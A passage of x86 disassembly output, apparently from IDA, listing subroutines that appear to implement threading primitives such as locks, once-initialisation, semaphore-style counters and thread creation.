add esp, 4
test esi, esi
jz short loc_42A65E
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_42A64C
mov eax, [esi]
test eax, eax
jz short loc_42A64C
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_42A64C: ; CODE XREF: sub_42A620+1Bj
; sub_42A620+21j
mov edx, [esi+8]
mov eax, ds:dword_4B26E4
push edx
push eax
call sub_401F5A
add esp, 8
loc_42A65E: ; CODE XREF: sub_42A620+13j
mov eax, esi
pop esi
retn
sub_42A620 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A690 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, ds:dword_4B26E4
push edx
call sub_40116D
mov [esi+8], eax
mov eax, ds:dword_4B26E4
push esi
push eax
call sub_401F5A
add esp, 0Ch
pop esi
retn
sub_42A690 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A6E0 proc near ; CODE XREF: sub_401A5Aj
arg_0 = dword ptr 4
push esi
push offset dword_4B2760
xor esi, esi
call ds:dword_4B3868
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42A714
push esi
push ecx
call sub_4014D8
add esp, 8
mov esi, eax
push offset dword_4B2760
call ds:dword_4B386C
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A714: ; CODE XREF: sub_42A6E0+17j
test eax, eax
jnz short loc_42A71D
mov esi, 16h
loc_42A71D: ; CODE XREF: sub_42A6E0+36j
push offset dword_4B2760
call ds:dword_4B386C
mov eax, esi
pop esi
retn
sub_42A6E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A750: ; CODE XREF: _294ADE7B:00401F7Dj
push esi
push 4
push 1
xor esi, esi
call ds:dword_4B3A64
add esp, 8
test eax, eax
jnz short loc_42A773
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42A773: ; CODE XREF: _294ADE7B:0042A762j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A790: ; CODE XREF: _294ADE7B:0040203Bj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42A7B3
mov eax, [esi]
test eax, eax
jz short loc_42A7B3
push eax
call ds:dword_4B3AAC
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A7B3: ; CODE XREF: _294ADE7B:0042A797j
; _294ADE7B:0042A79Dj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A7D0: ; CODE XREF: _294ADE7B:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_42A7ED
mov eax, [eax]
test eax, eax
jz short loc_42A7ED
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42A7ED
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42A7ED: ; CODE XREF: _294ADE7B:0042A7D6j
; _294ADE7B:0042A7DCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A810: ; CODE XREF: _294ADE7B:00401276j
mov eax, [esp+4]
test eax, eax
jz short loc_42A83A
mov ecx, [eax]
test ecx, ecx
jz short loc_42A83A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42A82E
test eax, eax
jnz short loc_42A83A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42A82E: ; CODE XREF: _294ADE7B:0042A825j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42A83A: ; CODE XREF: _294ADE7B:0042A816j
; _294ADE7B:0042A81Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A850 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_42A866
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A866: ; CODE XREF: sub_42A850+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_42A88D
mov eax, [eax]
cmp eax, edi
jz short loc_42A88D
cmp dword ptr [eax], 1
jnz short loc_42A88D
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A88D: ; CODE XREF: sub_42A850+1Ej
; sub_42A850+24j ...
push 20h
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_42A8B2
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A8B2: ; CODE XREF: sub_42A850+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401B59
add esp, 0Ch
test eax, eax
jz short loc_42A8D7
call ds:dword_4B3A50
mov edi, [eax]
jmp short loc_42A91B
; ---------------------------------------------------------------------------
loc_42A8D7: ; CODE XREF: sub_42A850+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401B59
add esp, 0Ch
test eax, eax
jz short loc_42A8F5
call ds:dword_4B3A50
mov edi, [eax]
jmp short loc_42A912
; ---------------------------------------------------------------------------
loc_42A8F5: ; CODE XREF: sub_42A850+99j
lea eax, [esi+14h]
push 0
push eax
call sub_40200E
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42A97F
push ebx
call sub_4015FA
add esp, 4
loc_42A912: ; CODE XREF: sub_42A850+A3j
push ebp
call sub_4015FA
add esp, 4
loc_42A91B: ; CODE XREF: sub_42A850+85j
push esi
call ds:dword_4B3AAC
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_42A972
loc_42A92B: ; CODE XREF: sub_42A850+131j
push offset dword_4B27E0
call ds:dword_4B3868
mov dword ptr [esi+18h], 0
mov ecx, ds:dword_4B26EC
mov [esi+1Ch], ecx
mov eax, ds:dword_4B26EC
test eax, eax
jz short loc_42A952
mov [eax+18h], esi
loc_42A952: ; CODE XREF: sub_42A850+FDj
mov eax, ds:dword_4B26E8
mov ds:dword_4B26EC, esi
test eax, eax
jnz short loc_42A967
mov ds:dword_4B26E8, esi
loc_42A967: ; CODE XREF: sub_42A850+10Fj
push offset dword_4B27E0
call ds:dword_4B386C
loc_42A972: ; CODE XREF: sub_42A850+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A97F: ; CODE XREF: sub_42A850+B7j
xor edi, edi
jmp short loc_42A92B
sub_42A850 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A9E0 proc near ; CODE XREF: sub_4019B0j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_42AB8C
mov eax, [edi]
test eax, eax
jz loc_42AB8C
cmp eax, 0FFFFFFFFh
jz loc_42AB43
push offset dword_4B27E0
call ds:dword_4B3868
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42AA39
call ds:dword_4B3A50
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AA39: ; CODE XREF: sub_42A9E0+49j
lea ebp, [esi+14h]
push ebp
call sub_4016DB
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_42AA60
push ebx
call sub_401037
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AA60: ; CODE XREF: sub_42A9E0+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_42AA99
push ebx
call sub_401037
add esp, 4
test eax, eax
jz short loc_42AA82
call ds:dword_4B3A50
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_42AA82: ; CODE XREF: sub_42A9E0+94j
push ebp
call sub_4010AF
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_42AB2E
; ---------------------------------------------------------------------------
loc_42AA99: ; CODE XREF: sub_42A9E0+87j
push ebx
mov dword ptr [edi], 0
call sub_4015FA
mov edi, ds:dword_4B3A50
add esp, 4
test eax, eax
jz short loc_42AABA
call edi
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_42AABA: ; CODE XREF: sub_42A9E0+D0j
lea eax, [esi+0Ch]
push eax
call sub_4015FA
add esp, 4
test eax, eax
jz short loc_42AAD2
call edi
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_42AAD2: ; CODE XREF: sub_42A9E0+E8j
push ebp
call sub_4010AF
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42AAEC
push ebp
call sub_402090
add esp, 4
mov ebx, eax
loc_42AAEC: ; CODE XREF: sub_42A9E0+FFj
cmp ds:dword_4B26E8, esi
jnz short loc_42AAFF
mov edx, [esi+18h]
mov ds:dword_4B26E8, edx
jmp short loc_42AB08
; ---------------------------------------------------------------------------
loc_42AAFF: ; CODE XREF: sub_42A9E0+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_42AB08: ; CODE XREF: sub_42A9E0+11Dj
cmp ds:dword_4B26EC, esi
jnz short loc_42AB1B
mov edx, [esi+1Ch]
mov ds:dword_4B26EC, edx
jmp short loc_42AB24
; ---------------------------------------------------------------------------
loc_42AB1B: ; CODE XREF: sub_42A9E0+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_42AB24: ; CODE XREF: sub_42A9E0+139j
push esi
call ds:dword_4B3AAC
add esp, 4
loc_42AB2E: ; CODE XREF: sub_42A9E0+B4j
push offset dword_4B27E0
call ds:dword_4B386C
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_42AB72
; ---------------------------------------------------------------------------
loc_42AB43: ; CODE XREF: sub_42A9E0+28j
push offset dword_4B2760
call ds:dword_4B3868
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42AB5B
mov dword ptr [edi], 0
jmp short loc_42AB67
; ---------------------------------------------------------------------------
loc_42AB5B: ; CODE XREF: sub_42A9E0+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_42AB67: ; CODE XREF: sub_42A9E0+179j
push offset dword_4B2760
call ds:dword_4B386C
loc_42AB72: ; CODE XREF: sub_42A9E0+161j
test esi, esi
jz short loc_42AB7E
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AB7E: ; CODE XREF: sub_42A9E0+194j
test ebp, ebp
mov eax, ebp
jnz short loc_42AB91
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AB8C: ; CODE XREF: sub_42A9E0+15j
; sub_42A9E0+1Fj
mov eax, 16h
loc_42AB91: ; CODE XREF: sub_42A9E0+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42A9E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AC10 proc near ; CODE XREF: sub_4011DBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_42AC40
add esp, 0Ch
retn
sub_42AC10 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AC40 proc near ; CODE XREF: sub_42AC10+Cp
; sub_42AF10+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_42AD49
mov eax, [esi]
test eax, eax
jz loc_42AD49
cmp eax, 0FFFFFFFFh
jnz short loc_42AC82
push esi
call sub_401A5A
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_42AC82
cmp eax, 10h
jnz loc_42AD4E
loc_42AC82: ; CODE XREF: sub_42AC40+26j
; sub_42AC40+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42ACA2
call ds:dword_4B3A50
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42ACA2: ; CODE XREF: sub_42AC40+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_401037
add esp, 4
test eax, eax
jz short loc_42ACC2
call ds:dword_4B3A50
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42ACC2: ; CODE XREF: sub_42AC40+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_42ADB0
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_4015D7
push edi
call sub_4010AF
add esp, 10h
mov [esp+28h+var_20], eax
test eax, eax
jnz short loc_42AD2A
mov eax, [esp+28h+arg_8]
add esi, 0Ch
push eax
push esi
call sub_4017CB
add esp, 8
test eax, eax
jz short loc_42AD26
call ds:dword_4B3A50
mov eax, [eax]
mov [esp+28h+var_20], eax
jmp short loc_42AD2A
; ---------------------------------------------------------------------------
loc_42AD26: ; CODE XREF: sub_42AC40+D6j
mov eax, [esp+28h+var_20]
loc_42AD2A: ; CODE XREF: sub_42AC40+C1j
; sub_42AC40+E4j
xor ecx, ecx
push 1
test eax, eax
setz cl
mov [esp+2Ch+var_4], ecx
call sub_401109
mov eax, [esp+2Ch+var_20]
add esp, 4
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42AD49: ; CODE XREF: sub_42AC40+13j
; sub_42AC40+1Dj
mov eax, 16h
loc_42AD4E: ; CODE XREF: sub_42AC40+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_42AC40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ADB0: ; DATA XREF: sub_42AC40+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_40208B
add esp, 4
test eax, eax
jz short loc_42ADDB
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42ADDB: ; CODE XREF: _294ADE7B:0042ADD1j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_42ADEE
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_42AE57
; ---------------------------------------------------------------------------
loc_42ADEE: ; CODE XREF: _294ADE7B:0042ADE4j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_42AE57
lea ebx, [esi+10h]
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42AE22
call ds:dword_4B3A50
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AE22: ; CODE XREF: _294ADE7B:0042AE0Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_401037
add esp, 4
test eax, eax
jz short loc_42AE4C
call ds:dword_4B3A50
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AE4C: ; CODE XREF: _294ADE7B:0042AE36j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_42AE57: ; CODE XREF: _294ADE7B:0042ADECj
; _294ADE7B:0042ADFCj
push edi
call sub_4010AF
add esp, 4
test eax, eax
jz short loc_42AE70
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AE70: ; CODE XREF: _294ADE7B:0042AE62j
cmp ebx, 1
jnz short loc_42AE99
add esi, 10h
push esi
call sub_401037
add esp, 4
test eax, eax
jz short loc_42AE99
call ds:dword_4B3A50
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42AE99: ; CODE XREF: _294ADE7B:0042AE73j
; _294ADE7B:0042AE83j
mov ecx, [ebp+0]
push ecx
call sub_40208B
add esp, 4
test eax, eax
jz short loc_42AEAF
mov edx, [esp+18h]
mov [edx], eax
loc_42AEAF: ; CODE XREF: _294ADE7B:0042AEA7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF10 proc near ; CODE XREF: sub_4011B8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_42AF1E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42AF1E: ; CODE XREF: sub_42AF10+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_42AC40
add esp, 0Ch
retn
sub_42AF10 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF50 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_42AF70
add esp, 8
retn
sub_42AF50 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF70 proc near ; CODE XREF: sub_42AF50+7p
; sub_42B0D0+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_42B074
mov esi, [eax]
test esi, esi
jz loc_42B074
cmp esi, 0FFFFFFFFh
jnz short loc_42AF94
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42AF94: ; CODE XREF: sub_42AF70+1Cj
lea ebx, [esi+14h]
push ebx
call sub_40208B
add esp, 4
test eax, eax
jnz loc_42B079
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_42AFE4
test eax, eax
jnz short loc_42AFC2
loc_42AFB5: ; CODE XREF: sub_42AF70+77j
push ebx
call sub_4010AF
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42AFC2: ; CODE XREF: sub_42AF70+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_42AFD9
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_42B046
; ---------------------------------------------------------------------------
loc_42AFD9: ; CODE XREF: sub_42AF70+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_42B043
; ---------------------------------------------------------------------------
loc_42AFE4: ; CODE XREF: sub_42AF70+3Fj
cmp eax, [esi+4]
jle short loc_42AFB5
lea ecx, [esi+10h]
push ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42B010
call ds:dword_4B3A50
mov esi, [eax]
push ebx
call sub_4010AF
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B010: ; CODE XREF: sub_42AF70+87j
mov eax, [esi+4]
test eax, eax
jz short loc_42B024
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_42B024: ; CODE XREF: sub_42AF70+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_42B039
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_42B046
; ---------------------------------------------------------------------------
loc_42B039: ; CODE XREF: sub_42AF70+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_42B043: ; CODE XREF: sub_42AF70+72j
dec eax
mov [esi], eax
loc_42B046: ; CODE XREF: sub_42AF70+67j
; sub_42AF70+C7j
push ebx
call sub_4010AF
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42B06E
add esi, 0Ch
push edi
push esi
call sub_401EDD
add esp, 8
test eax, eax
jz short loc_42B06E
call ds:dword_4B3A50
mov ebx, [eax]
loc_42B06E: ; CODE XREF: sub_42AF70+E3j
; sub_42AF70+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B074: ; CODE XREF: sub_42AF70+9j
; sub_42AF70+13j
mov eax, 16h
loc_42B079: ; CODE XREF: sub_42AF70+32j
pop edi
pop esi
pop ebx
retn
sub_42AF70 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B0D0 proc near ; CODE XREF: sub_401587j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_42AF70
add esp, 8
retn
sub_42B0D0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B0F0 proc near ; CODE XREF: sub_40120Dj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401A28
mov esi, eax
test esi, esi
jz loc_42B1C6
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
call ds:dword_4B3AB0
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_42B1C6
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_42B16E
mov eax, [ebp+0]
test eax, eax
jz short loc_42B16E
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_42B170
call sub_4012AD
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_42B170
; ---------------------------------------------------------------------------
loc_42B16E: ; CODE XREF: sub_42B0F0+4Dj
; sub_42B0F0+54j
xor edi, edi
loc_42B170: ; CODE XREF: sub_42B0F0+6Ej
; sub_42B0F0+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401AA0
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
call ds:dword_4B3A40
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_42B1B9
test ebp, ebp
jz short loc_42B1B2
cmp dword ptr [ebp+0], 0
jz short loc_42B1B2
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_401F3C
add esp, 0Ch
loc_42B1B2: ; CODE XREF: sub_42B0F0+AAj
; sub_42B0F0+B0j
push edi
call ds:dword_4B3840
loc_42B1B9: ; CODE XREF: sub_42B0F0+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_42B1F9
loc_42B1C6: ; CODE XREF: sub_42B0F0+14j
; sub_42B0F0+30j
push esi
call sub_4016F4
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_42B1EC
push ebx
call ds:dword_4B3AAC
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42B1EC: ; CODE XREF: sub_42B0F0+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42B1F9: ; CODE XREF: sub_42B0F0+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_42B0F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B260: ; CODE XREF: _294ADE7B:00401302j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_42B297 ; default
jmp off_42B29C[ecx*4] ; switch jump
loc_42B275: ; DATA XREF: _294ADE7B:off_42B29Co
call sub_401672 ; jumptable 0042B26E case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B27D: ; CODE XREF: _294ADE7B:0042B26Ej
; DATA XREF: _294ADE7B:off_42B29Co
call sub_4016F9 ; jumptable 0042B26E case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B285: ; CODE XREF: _294ADE7B:0042B26Ej
; DATA XREF: _294ADE7B:off_42B29Co
call sub_401708 ; jumptable 0042B26E case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B28D: ; CODE XREF: _294ADE7B:0042B26Ej
; DATA XREF: _294ADE7B:off_42B29Co
call sub_401708 ; jumptable 0042B26E case 0
call sub_4015A0
locret_42B297: ; CODE XREF: _294ADE7B:0042B26Cj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_42B29C dd offset loc_42B28D ; DATA XREF: _294ADE7B:0042B26Er
dd offset loc_42B275 ; jump table for switch statement
dd offset loc_42B27D
dd offset loc_42B285
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B2D0: ; CODE XREF: _294ADE7B:004016FEj
mov eax, ds:dword_4B26E0
push esi
push edi
push eax
call sub_40116D
mov edi, [esp+10h]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_42B2F4
push edi
call ds:dword_4B3A3C
add esp, 4
loc_42B2F4: ; CODE XREF: _294ADE7B:0042B2E8j
push 1
mov [esi+14h], edi
call sub_401CA8
add esp, 4
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B320 proc near ; CODE XREF: sub_4016B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_4B2720
xor esi, esi
call ds:dword_4B3868
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_42B34B
mov eax, [eax+4]
test eax, eax
jz short loc_42B34B
push eax
call ds:dword_4B3830
cmp eax, 7FFFFFFFh
jnz short loc_42B350
loc_42B34B: ; CODE XREF: sub_42B320+14j
; sub_42B320+1Bj
mov esi, 3
loc_42B350: ; CODE XREF: sub_42B320+29j
push offset dword_4B2720
call ds:dword_4B386C
test esi, esi
jnz short loc_42B36C
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_42B36E
loc_42B36C: ; CODE XREF: sub_42B320+3Dj
mov eax, esi
loc_42B36E: ; CODE XREF: sub_42B320+4Aj
pop esi
retn
sub_42B320 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B390: ; CODE XREF: _294ADE7B:004015C8j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_42B3E1
mov edi, [esp+14h]
test edi, edi
jz short loc_42B3E1
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_42B3C1
lea eax, [esi+4]
push eax
call ds:dword_4B382C
test eax, eax
jnz short loc_42B3C7
call edi
mov dword ptr [esi], 1
loc_42B3C1: ; CODE XREF: _294ADE7B:0042B3A9j
; _294ADE7B:0042B3CAj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B3C7: ; CODE XREF: _294ADE7B:0042B3B7j
cmp dword ptr [esi], 0
jnz short loc_42B3C1
mov edi, ds:dword_4B38CC
loc_42B3D2: ; CODE XREF: _294ADE7B:0042B3D9j
push 0
